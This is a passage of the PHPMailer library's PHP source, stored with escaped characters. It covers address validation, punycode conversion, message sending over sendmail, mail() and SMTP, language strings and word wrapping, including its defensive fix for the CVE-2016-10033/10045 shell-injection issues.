(version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n $patternselect = 'pcre8';\n } else {\n $patternselect = 'pcre';\n }\n } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n \/\/Fall back to older PCRE\n $patternselect = 'pcre';\n } else {\n \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n $patternselect = 'php';\n } else {\n $patternselect = 'noregex';\n }\n }\n }\n switch ($patternselect) {\n case 'pcre8':\n \/**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n *\/\n return (boolean)preg_match(\n '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n $address\n );\n case 'pcre':\n \/\/An older regex that doesn't need a recent PCRE\n return (boolean)preg_match(\n '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n $address\n );\n case 'html5':\n \/**\n * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n *\/\n return (boolean)preg_match(\n '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n $address\n );\n case 'noregex':\n \/\/No PCRE! Do something _very_ approximate!\n \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n return (strlen($address) >= 3\n and strpos($address, '@') >= 1\n and strpos($address, '@') != strlen($address) - 1);\n case 'php':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n \/**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * \"intl\" and \"mbstring\" PHP extensions.\n * @return bool \"true\" if required functions for IDN support are present\n *\/\n public function idnSupported()\n {\n \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n }\n\n \/**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n *\/\n public function punyencodeAddress($address)\n {\n \/\/ Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, '@')) !== false) {\n $domain = substr($address, ++$pos);\n \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n }\n\n \/**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n *\/\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = '';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n *\/\n public function preSend()\n {\n try {\n $this->error_count = 0; \/\/ Reset errors\n $this->mailHeader = '';\n\n \/\/ Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n }\n\n \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n \/\/ Set whether the message is multipart\/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = 'multipart\/alternative';\n }\n\n $this->setMessageType();\n \/\/ Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n }\n\n \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = '';\n $this->MIMEBody = $this->createBody();\n \/\/ createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n \/\/ To capture the complete message when using mail(), create\n \/\/ an extra header list which createHeader() doesn't fold in\n if ($this->Mailer == 'mail') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend('To', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n $this->mailHeader .= $this->headerLine(\n 'Subject',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n );\n }\n\n \/\/ Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n *\/\n public function postSend()\n {\n try {\n \/\/ Choose the mailer and send through it\n switch ($this->Mailer) {\n case 'sendmail':\n case 'qmail':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case 'smtp':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case 'mail':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.'Send';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n \/**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function sendmailSend($header, $body)\n {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s -f%s';\n } else {\n $sendmailFmt = '%s -oi -f%s -t';\n }\n } else {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s';\n } else {\n $sendmailFmt = '%s -oi -t';\n }\n }\n\n \/\/ TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, 'To: ' . $toAddr . \"\\n\");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n \/**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n *\/\n protected static function isShellSafe($string)\n {\n \/\/ Future-proof\n if (escapeshellcmd($string) !== $string\n or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n \/**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n *\/\n protected static function isPermittedPath($path)\n {\n return !preg_match('#^[a-z]+:\/\/#i', $path);\n }\n\n \/**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(', ', $toArr);\n\n $params = null;\n \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (self::isShellSafe($this->Sender)) {\n $params = sprintf('-f%s', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get('sendmail_from');\n ini_set('sendmail_from', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set('sendmail_from', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n \/**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n *\/\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n \/**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n *\/\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n \/\/ Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n \/\/ Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n \/\/Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = '';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad['to'] . ': ' . $bad['error'];\n }\n throw new phpmailerException(\n $this->lang('recipients_failed') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n \/**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n *\/\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n \/\/If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n \/\/ Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(';', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n trim($hostentry),\n $hostinfo\n )) {\n \/\/ Not a valid host entry\n $this->edebug('Ignoring invalid host: ' . $hostentry);\n continue;\n }\n \/\/ $hostinfo[2]: optional ssl or tls prefix\n \/\/ $hostinfo[3]: the hostname\n \/\/ $hostinfo[4]: optional port number\n \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n \/\/ If it's not specified, the default value is used\n $prefix = '';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == 'tls');\n if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n $prefix = 'ssl:\/\/';\n $tls = false; \/\/ Can't have SSL and TLS at the same time\n $secure = 'ssl';\n } elseif ($hostinfo[2] == 'tls') {\n $tls = true;\n \/\/ tls doesn't use a prefix\n $secure = 'tls';\n }\n \/\/Do we need the OpenSSL extension?\n $sslext = defined('OPENSSL_ALGO_SHA1');\n if ('tls' === $secure or 'ssl' === $secure) {\n \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n \/\/Automatically enable TLS encryption if:\n \/\/ * it's not disabled\n \/\/ * we have openssl extension\n \/\/ * we are not already using SSL\n \/\/ * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang('connect_host'));\n }\n \/\/ We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n $this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang('authenticate'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n \/\/ If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n \/\/ As we've caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n \/**\n * Close the active SMTP session if one exists.\n * @return void\n *\/\n public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n \/**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n *\/\n public function setLanguage($langcode = 'en', $lang_path = '')\n {\n \/\/ Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n 'br' => 'pt_br',\n 'cz' => 'cs',\n 'dk' => 'da',\n 'no' => 'nb',\n 'se' => 'sv',\n 'sr' => 'rs'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n \/\/ Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n 'authenticate' => 'SMTP Error: Could not authenticate.',\n 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n 'data_not_accepted' => 'SMTP Error: data not accepted.',\n 'empty_message' => 'Message body empty',\n 'encoding' => 'Unknown encoding: ',\n 'execute' => 'Could not execute: ',\n 'file_access' => 'Could not access file: ',\n 'file_open' => 'File Error: Could not open file: ',\n 'from_failed' => 'The following From address failed: ',\n 'instantiate' => 'Could not instantiate mail function.',\n 'invalid_address' => 'Invalid address: ',\n 'mailer_not_supported' => ' mailer is not supported.',\n 'provide_address' => 'You must provide at least one recipient email address.',\n 'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n 'signing' => 'Signing Error: ',\n 'smtp_connect_failed' => 'SMTP connect() failed.',\n 'smtp_error' => 'SMTP server error: ',\n 'variable_set' => 'Cannot set or reset variable: ',\n 'extension_missing' => 'Extension missing: '\n );\n if (empty($lang_path)) {\n \/\/ Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n }\n \/\/Validate $langcode\n if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n $langcode = 'en';\n }\n $foundlang = true;\n $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n \/\/ There is no English translation file\n if ($langcode != 'en') {\n \/\/ Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n \/\/ Overwrite language-specific strings.\n \/\/ This way we'll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; \/\/ Returns false if language not found\n }\n\n \/**\n * Get the array of strings for the current language.\n * @return array\n *\/\n public function getTranslations()\n {\n return $this->language;\n }\n\n \/**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an address\n * and element 1 containing a name, like:\n * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n * @return string\n *\/\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . ': ' . implode(', ', $addresses) . $this->LE;\n }\n\n \/**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array('joe@example.com', 'Joe User')\n * @return string\n *\/\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { \/\/ No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n $addr[0]\n ) . '>';\n }\n }\n\n \/**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n *\/\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(' =%s', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n \/\/ If utf-8 encoding is used, we will need to make sure we don't\n \/\/ split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n \/\/Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n \/\/Split message into lines\n $lines = explode($this->LE, $message);\n \/\/Message will be rebuilt in here\n $message = '';\n foreach ($lines as $line) {\n $words = explode(' ', $line);\n $buf = '';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= ' ' . $part;\n $message .= $buf . sprintf('=%s', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = '';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf('=%s', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= ' ';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != '') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n \/**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n *\/\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, '=');\n if (false !== $encodedCharPos) {\n \/\/ Found start of encoded character byte within $lookBack block.\n \/\/ Check the encoded byte value (the 2 chars after the '=')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n \/\/ Single byte character.\n \/\/ If the encoded char was found at pos 0, it will fit\n \/\/ otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n \/\/ First byte of a multi byte character\n \/\/ Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n \/\/ Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n \/\/ No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n \/**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don't need to call it yourself.\n * @access public\n * @return void\n *\/\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case 'alt':\n case 'alt_inline':\n case 'alt_attach':\n case 'alt_inline_attach':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n \/**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n *\/\n public function createHeader()\n {\n $result = '';\n\n $result .= $this->headerLine('Date', 